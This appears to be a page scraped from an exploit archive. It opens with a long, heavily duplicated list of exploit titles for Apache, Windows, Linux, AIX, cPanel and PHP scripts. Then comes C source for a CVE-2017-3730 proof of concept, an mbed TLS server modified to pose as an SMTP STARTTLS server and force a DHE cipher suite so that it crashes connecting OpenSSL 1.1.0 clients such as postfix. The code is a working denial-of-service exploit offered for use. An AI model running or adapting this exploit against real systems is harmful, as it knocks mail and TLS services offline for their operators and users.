
39 new exploits OpenSSL 1.1.0 - Remote Client Denial of Service CDRTools CDRecord 2.0 - Mandrake Privilege Escalation CDRTools CDRecord 2.0 (Mandrake / Slackware) - Privilege Escalation RedHat 6.2 /usr/bin/rcp - SUID Privilege Escalation Exploit RedHat 6.2 /usr/bin/rcp - SUID Privilege Escalation BitchX 1.0c19 - Privilege Escalation (suid?) Apache 1.3.31 (mod_include) - Local Buffer Overflow BitchX 1.0c19 - Privilege Escalation Apache 1.3.31 mod_include - Local Buffer Overflow AIX 4.3/5.1 < 5.3 - lsmcode Command Execution Privilege Escalation AIX 4.3/5.1 < 5.3 - 'lsmcode' Command Execution Privilege Escalation Debian 2.2 - /usr/bin/pileup Privilege Escalation Debian 2.2 /usr/bin/pileup - Privilege Escalation Oracle 10g (Windows x86) - (PROCESS_DUP_HANDLE) Local Privilege Elevation GIMP 2.2.14 (Windows x86) - '.ras' Download/Execute Buffer Overflow Notepad++ 4.1 (Windows x86) - '.ruby' File Processing Buffer Overflow IBM AIX 5.3 sp6 - ftp gets() Privilege Escalation IBM AIX 5.3 SP6 - FTP gets() Privilege Escalation IBM AIX 5.3.0 - setlocale() Privilege Escalation IBM AIX 5.3.0 - 'setlocale()' Privilege Escalation FreeBSD 6x/7 - protosw kernel Local Privilege Escalation Exploit FreeBSD 6x/7 protosw Kernel - Privilege Escalation PHP 5.2.9 (Windows x86) - Local Safemod Bypass Exploit HTMLDOC 1.9.x-r1629 (Windows x86) - Local .html Buffer Overflow (Linux Kernel 2.6.34-rc3) ReiserFS (RedHat / Ubuntu 9.10) - xattr Privilege Escalation (Linux Kernel 2.6.34-rc3) ReiserFS (RedHat / Ubuntu 9.10) - 'xattr' Privilege Escalation Linux Kernel 4.6.3 - 'Netfilter' Privilege Escalation (Metasploit) Linux Kernel 4.6.3 (x86) - 'Netfilter' Privilege Escalation (Metasploit) FreeBSD 6.4 - Netgraph Local Privilege Escalation Exploit FreeBSD 6.4 - Netgraph Privilege Escalation PHP 5.4.3 (Windows x86 Polish) - Code Execution Apache (Mod_Auth_OpenID) - Session Stealing Apache Mod_Auth_OpenID - Session Stealing cPanel 5.0 - Openwebmail Privilege Escalation cPanel 5.0 - 'Openwebmail' Privilege Escalation Apache 2.0.4x (mod_php) - File Descriptor Leakage (1) Apache 2.0.4x (mod_php) - File Descriptor Leakage (2) Apache 2.0.4x mod_php - File Descriptor Leakage (1) Apache 2.0.4x mod_php - File Descriptor Leakage (2) Apache 2.0.4x (mod_perl) - File Descriptor Leakage (3) Apache 2.0.4x mod_perl - File Descriptor Leakage (3) cPanel 5-9 - Privilege Escalation cPanel 5 < 9 - Privilege Escalation Apache 1.3.x (mod_include) - Local Buffer Overflow Apache 1.3.x mod_include - Local Buffer Overflow IBM AIX 5.x - Diag Privilege Escalation Vulnerabilities IBM AIX 5.x - 'Diag' Privilege Escalation Nginx (Debian-Based + Gentoo) - 'logrotate' Local Privilege Escalation Nginx (Debian-Based Distros + Gentoo) - 'logrotate' Privilege Escalation Amanda 3.3.1 - amstar Command Injection Privilege Escalation Amanda 3.3.1 - 'amstar' Command Injection Privilege Escalation Microsoft Windows 7 SP1 (x86) - 'WebDAV' Privilege Escalation (MS16-016) (1) Deepin Linux 15 - lastore-daemon Privilege Escalation Microsoft Windows 7 SP1 (x86) - 'WebDAV' Privilege Escalation (MS16-016) (1) Deepin Linux 15 - 'lastore-daemon' Privilege Escalation Microsoft Windows - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) Microsoft Windows 7 (x86) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) Microsoft Windows 7 (x64) - 'afd.sys' Privilege Escalation (MS14-040) Microsoft Windows 7 (x64) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040) Microsoft Windows 8.1/10 (x86) - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032) Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_REPLACE' Privilege Escalation Microsoft Windows (x86) - 'afd.sys' Privilege Escalation (MS11-046) Allwinner 3.4 Legacy Kernel - Local Privilege Escalation (Metasploit) Allwinner 3.4 Legacy Kernel - Privilege Escalation (Metasploit) Microsoft Windows (x86) - 'NDISTAPI' Privilege Escalation (MS11-062) MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x - 'mysql' System User Privilege Escalation / Race Condition MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x - ('mysql' System User) Privilege Escalation / Race Condition MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x - 'root' Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x - ('root' System User) Privilege Escalation Linux Kernel 4.4 (Ubuntu 16.04) - BPF Local Privilege Escalation (Metasploit) Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Privilege Escalation (Metasploit) Apache CouchDB 2.0.0 - Local Privilege Escalation Apache CouchDB 2.0.0 - Privilege Escalation Vesta Control Panel 0.9.8-16 - Local Privilege Escalation Vesta Control Panel 0.9.8-16 - Privilege Escalation Systemd 228 - Privilege Escalation (PoC) Systemd 228 (SUSE 12 SP2 / Ubuntu Touch 15.04) - Privilege Escalation (PoC) Oracle VM VirtualBox < 5.0.32 / < 5.1.14 - Privilege Escalation (PoC) Apache 1.3.x (mod_mylo) - Remote Code Execution Apache 1.3.x mod_mylo - Remote Code Execution Apache 1.3.x < 2.0.48 (mod_userdir) - Remote Users Disclosure Apache 1.3.x < 2.0.48 mod_userdir - Remote Users Disclosure Microsoft Windows (x86) - Metafile '.emf' Heap Overflow (MS04-032) Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Exploit (2) Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Exploit Veritas NetBackup 6.0 (Windows x86) - (bpjava-msvc) Remote Exploit Apache (mod_rewrite) (Windows x86) - Off-by-One Remote Overflow Apache mod_rewrite (Windows x86) - Off-by-One Remote Overflow 3proxy 0.5.3g (Windows x86) - proxy.c logurl() Remote Buffer Overflow Apache (mod_rewrite) 2.0.58 (Windows 2003) - Remote Overflow Apache 2.0.58 mod_rewrite (Windows 2003) - Remote Overflow Apache Tomcat Connector (mod_jk) - Remote Exploit (exec-shield) Apache Tomcat Connector mod_jk - 'exec-shield' Remote Exploit 3proxy 0.5.3g (Windows x86) - logurl() Remote Buffer Overflow (Perl) SapLPD 6.28 (Windows x86) - Remote Buffer Overflow Apache 2.0 mod_jk2 2.0.2 (Windows x86) - Remote Buffer Overflow Apache Tomcat Connector jk2-2.0.2 (mod_jk2) - Remote Overflow Apache Tomcat Connector jk2-2.0.2 mod_jk2 - Remote Overflow Apache mod_jk 1.2.19 (Windows x86) - Remote Buffer Overflow Apache (mod_perl) - 'Apache::Status' / 'Apache2::Status' Cross-Site Scripting Apache mod_perl - 'Apache::Status' / 'Apache2::Status' Cross-Site Scripting Apache 2.2.14 (mod_isapi) - Dangling Pointer Remote SYSTEM Exploit Apache 2.2.14 mod_isapi - Dangling Pointer Remote SYSTEM Exploit Apache (mod_proxy) - Reverse Proxy Exposure (PoC) Apache mod_proxy - Reverse Proxy Exposure (PoC) Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Exploit (1) Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Exploit Apache 2.2.6 (mod_negotiation) - HTML Injection and HTTP Response Splitting Apache 2.2.6 mod_negotiation - HTML Injection and HTTP Response Splitting Apache 7.0.x (mod_proxy) - Reverse Proxy Security Bypass Apache 7.0.x mod_proxy - Reverse Proxy Security Bypass Apache 2.2.15 (mod_proxy) - Reverse Proxy Security Bypass Apache 2.2.15 mod_proxy - Reverse Proxy Security Bypass Apache (mod_wsgi) - Information Disclosure Apache mod_wsgi - Information Disclosure Flatnuke 2.5.6 - Privilege Escalation / Remote Commands Execution Exploit Flatnuke 2.5.6 - Privilege Escalation / Remote Commands Execution phpGraphy 0.9.12 - Privilege Escalation / Commands Execution Exploit phpGraphy 0.9.12 - Privilege Escalation / Commands Execution PEAR 1.9.0 - Multiple Remote File Inclusion PHP PEAR 1.9.0 - Multiple Remote File Inclusion Pear HTTP_Upload 1.0.0b3 - Arbitrary File Upload PHP PEAR HTTP_Upload 1.0.0b3 - Arbitrary File Upload Radisys MRF - Command Injection PHP PEAR 1.10.1 - Arbitrary File Download Caregiver Script 2.57 - SQL Injection Auction Script 6.49 - SQL Injection Itech B2B Script 4.28 - SQL Injection Itech Classifieds Script 7.27 - 'scat' Parameter SQL Injection Itech Dating Script 3.26 - SQL Injection Itech Freelancer Script 5.13 - SQL Injection Itech Multi Vendor Script 6.49 - SQL Injection Itech News Portal Script 6.28 - SQL Injection Itech Real Estate Script 3.12 - SQL Injection PHP Product Designer Script - Arbitrary File Upload PHP Logo Designer Script - Arbitrary File Upload Video Sharing Script 4.94 - SQL Injection HelpDeskZ < 1.0.2 - Authenticated SQL Injection / Unauthorized File Download Itech Classifieds Script 7.27 - 'pid' Parameter SQL Injection Itech Dating Script 3.26 - 'send_gift.php' SQL Injection Itech Real Estate Script 3.12 - 'id' Parameter SQL Injection
212 lines
No EOL
5.9 KiB
C
Executable file
212 lines
No EOL
5.9 KiB
C
Executable file
// Source: https://guidovranken.wordpress.com/2017/01/26/cve-2017-3730-openssl-1-1-0-remote-client-denial-of-service-affects-servers-as-well-poc/
|
|
|
|
/*
|
|
* SSL server demonstration program
|
|
*
|
|
* Copyright (C) 2006-2015, ARM Limited, All Rights Reserved
|
|
* SPDX-License-Identifier: Apache-2.0
|
|
*
|
|
* Licensed under the Apache License, Version 2.0 (the "License"); you may
|
|
* not use this file except in compliance with the License.
|
|
* You may obtain a copy of the License at
|
|
*
|
|
* http://www.apache.org/licenses/LICENSE-2.0
|
|
*
|
|
* Unless required by applicable law or agreed to in writing, software
|
|
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
|
|
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
* See the License for the specific language governing permissions and
|
|
* limitations under the License.
|
|
*
|
|
* This file is part of mbed TLS (https://tls.mbed.org)
|
|
*/
|
|
|
|
/* Taken from mbed TLS programs/ssl/ssl_server.c and modified to crash postfix.
|
|
* Belongs to https://github.com/guidovranken/CVE-2017-3730
|
|
*/
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
#include "mbedtls/entropy.h"
|
|
#include "mbedtls/ctr_drbg.h"
|
|
#include "mbedtls/certs.h"
|
|
#include "mbedtls/x509.h"
|
|
#include "mbedtls/ssl.h"
|
|
#include "mbedtls/net_sockets.h"
|
|
#include "mbedtls/error.h"
|
|
#include "mbedtls/debug.h"
|
|
|
|
static int write_and_get_response( mbedtls_net_context *sock_fd, char *buf, size_t len )
|
|
{
|
|
int ret;
|
|
|
|
if ( (ret = mbedtls_net_send( sock_fd, (unsigned char*)buf, strlen(buf) )) <= 0 )
|
|
{
|
|
return -1;
|
|
}
|
|
|
|
memset( buf, 0, len );
|
|
ret = mbedtls_net_recv( sock_fd, (unsigned char*)buf, len );
|
|
return ret;
|
|
}
|
|
|
|
int main( void )
|
|
{
|
|
int ret;
|
|
mbedtls_net_context listen_fd, client_fd;
|
|
char buf[1024];
|
|
const char *pers = "ssl_server";
|
|
|
|
int force_ciphersuite[2];
|
|
mbedtls_entropy_context entropy;
|
|
mbedtls_ctr_drbg_context ctr_drbg;
|
|
mbedtls_ssl_context ssl;
|
|
mbedtls_ssl_config conf;
|
|
mbedtls_x509_crt srvcert;
|
|
mbedtls_pk_context pkey;
|
|
|
|
mbedtls_net_init( &listen_fd );
|
|
mbedtls_net_init( &client_fd );
|
|
mbedtls_ssl_init( &ssl );
|
|
mbedtls_ssl_config_init( &conf );
|
|
mbedtls_x509_crt_init( &srvcert );
|
|
mbedtls_pk_init( &pkey );
|
|
mbedtls_entropy_init( &entropy );
|
|
mbedtls_ctr_drbg_init( &ctr_drbg );
|
|
|
|
ret = mbedtls_x509_crt_parse( &srvcert, (const unsigned char *) mbedtls_test_srv_crt,
|
|
mbedtls_test_srv_crt_len );
|
|
if( ret != 0 )
|
|
{
|
|
goto exit;
|
|
}
|
|
|
|
ret = mbedtls_x509_crt_parse( &srvcert, (const unsigned char *) mbedtls_test_cas_pem,
|
|
mbedtls_test_cas_pem_len );
|
|
if( ret != 0 )
|
|
{
|
|
goto exit;
|
|
}
|
|
|
|
ret = mbedtls_pk_parse_key( &pkey, (const unsigned char *) mbedtls_test_srv_key,
|
|
mbedtls_test_srv_key_len, NULL, 0 );
|
|
if( ret != 0 )
|
|
{
|
|
goto exit;
|
|
}
|
|
|
|
if( ( ret = mbedtls_net_bind( &listen_fd, NULL, "8888", MBEDTLS_NET_PROTO_TCP ) ) != 0 )
|
|
{
|
|
goto exit;
|
|
}
|
|
|
|
if( ( ret = mbedtls_ctr_drbg_seed( &ctr_drbg, mbedtls_entropy_func, &entropy,
|
|
(const unsigned char *) pers,
|
|
strlen( pers ) ) ) != 0 )
|
|
{
|
|
goto exit;
|
|
}
|
|
|
|
if( ( ret = mbedtls_ssl_config_defaults( &conf,
|
|
MBEDTLS_SSL_IS_SERVER,
|
|
MBEDTLS_SSL_TRANSPORT_STREAM,
|
|
MBEDTLS_SSL_PRESET_DEFAULT ) ) != 0 )
|
|
{
|
|
goto exit;
|
|
}
|
|
|
|
mbedtls_ssl_conf_rng( &conf, mbedtls_ctr_drbg_random, &ctr_drbg );
|
|
|
|
|
|
mbedtls_ssl_conf_ca_chain( &conf, srvcert.next, NULL );
|
|
if( ( ret = mbedtls_ssl_conf_own_cert( &conf, &srvcert, &pkey ) ) != 0 )
|
|
{
|
|
goto exit;
|
|
}
|
|
|
|
force_ciphersuite[0] = mbedtls_ssl_get_ciphersuite_id( "TLS-DHE-RSA-WITH-AES-256-GCM-SHA384" );
|
|
force_ciphersuite[1] = 0;
|
|
mbedtls_ssl_conf_ciphersuites( &conf, force_ciphersuite );
|
|
|
|
if( ( ret = mbedtls_ssl_setup( &ssl, &conf ) ) != 0 )
|
|
{
|
|
goto exit;
|
|
}
|
|
|
|
reset:
|
|
|
|
mbedtls_net_free( &client_fd );
|
|
|
|
mbedtls_ssl_session_reset( &ssl );
|
|
|
|
if( ( ret = mbedtls_net_accept( &listen_fd, &client_fd,
|
|
NULL, 0, NULL ) ) != 0 )
|
|
{
|
|
goto exit;
|
|
}
|
|
|
|
sprintf(buf, "220 ok\n");
|
|
ret = write_and_get_response( &client_fd, buf, sizeof(buf));
|
|
|
|
if ( ret < 5 ) {
|
|
goto exit;
|
|
}
|
|
|
|
if ( strncmp(buf, "EHLO ", 5) != 0 ) {
|
|
goto exit;
|
|
}
|
|
|
|
sprintf(buf, "250-SIZE 157286400\n250-8BITMIME\n250-STARTTLS\n250-ENHANCEDSTATUSCODES\n250-PIPELINING\n250-CHUNKING\n250 SMTPUTF8\n");
|
|
ret = write_and_get_response( &client_fd, buf, sizeof(buf));
|
|
|
|
if ( ret < 8 ) {
|
|
goto exit;
|
|
}
|
|
|
|
if ( strncmp(buf, "STARTTLS", 8) != 0 ) {
|
|
goto exit;
|
|
}
|
|
sprintf(buf, "220 ok\n");
|
|
ret = mbedtls_net_send( &client_fd, (unsigned char*)buf, strlen(buf) );
|
|
if ( ret < 0 ) {
|
|
goto exit;
|
|
}
|
|
|
|
mbedtls_ssl_set_bio( &ssl, &client_fd, mbedtls_net_send, mbedtls_net_recv, NULL );
|
|
|
|
|
|
while( ( ret = mbedtls_ssl_handshake( &ssl ) ) != 0 )
|
|
{
|
|
if( ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE )
|
|
{
|
|
goto reset;
|
|
}
|
|
}
|
|
|
|
while( ( ret = mbedtls_ssl_close_notify( &ssl ) ) < 0 )
|
|
{
|
|
if( ret != MBEDTLS_ERR_SSL_WANT_READ &&
|
|
ret != MBEDTLS_ERR_SSL_WANT_WRITE )
|
|
{
|
|
goto reset;
|
|
}
|
|
}
|
|
|
|
|
|
ret = 0;
|
|
goto reset;
|
|
|
|
exit:
|
|
|
|
mbedtls_net_free( &client_fd );
|
|
mbedtls_net_free( &listen_fd );
|
|
|
|
mbedtls_x509_crt_free( &srvcert );
|
|
mbedtls_pk_free( &pkey );
|
|
mbedtls_ssl_free( &ssl );
|
|
mbedtls_ssl_config_free( &conf );
|
|
mbedtls_ctr_drbg_free( &ctr_drbg );
|
|
mbedtls_entropy_free( &entropy );
|
|
|
|
return( ret );
|
|
} |